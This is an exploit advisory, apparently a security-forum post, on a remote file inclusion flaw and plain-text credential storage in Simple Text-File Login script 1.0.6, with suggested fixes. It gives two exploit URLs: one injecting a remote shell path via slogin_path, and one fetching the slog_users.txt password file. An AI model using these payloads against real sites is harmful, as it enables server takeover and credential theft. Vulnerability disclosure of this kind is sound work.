[START] ######################################################################################### [0x01] Informations: Script : Simple Text-File Login script 1.0.6 Download : http://www.hotscripts.com/jump.php?listing_id=36777&jump_type=1 Vulnerability : Remote File Inclusion / Sensitive Data Disclosure Author : Osirys Contact : osirys[at]live[dot]it Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay Notes : * * The name of this login system is Simple Text-File Login script, so we can already understand that this script will use a .txt file to do his job. So it's like if the coder didn't think that a login system like this isn't vulnerable. Weird ! Anyway, it's vulnerable to Remote File Inclusion also, here we are ! ######################################################################################### [0x02] Bug:[Remote File Inclusion] ###### Bugged file is: /[path]/slogin_lib.inc.php [CODE] 90. if (!isset ($slogin_path)) { 91. $slogin_path = ""; 92. } [/CODE] If $slogin_path is not given, becomes a null variable. Scrolling down the source code, you can see an include of that variable everywhere. Just one of the few vulnerable includes: [CODE] include_once ($slogin_path . "header.inc.php"); [/CODE] FIX: Just declare $slogin_path. An example of a bugged inclusion in the source is this: [CODE] include_once ($slogin_path . "header.inc.php"); [/CODE] The header.inc.php file, such as all the files of this cms, is in the same dir of slogin_lib.inc.php, so a fix could be just to include the file, without including a variable, which should be null becouse all the files are in the same dir. [CODE] include_once ("header.inc.php"); # <-- This is a secure include. [/CODE] [!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell] ######################################################################################## [0x03] Bug:[Sensitive Data Disclosure] ###### * As I already said, this is not a real bug, becouse is the intention of the author to use a .txt file as a login storage. But it's weird, it's unsecure ! Maybe he just sees the goodness of people (hehe xD) In this login system, sensible datas like username and password are stored in a local text file , so we can get sensitive information just going to this txt file . The name of this file is set in slogin_lib.inc.php. By default is: slog_users.txt [!] EXPLOIT: /[path]/slog_users.txt ######################################################################################### [/END]
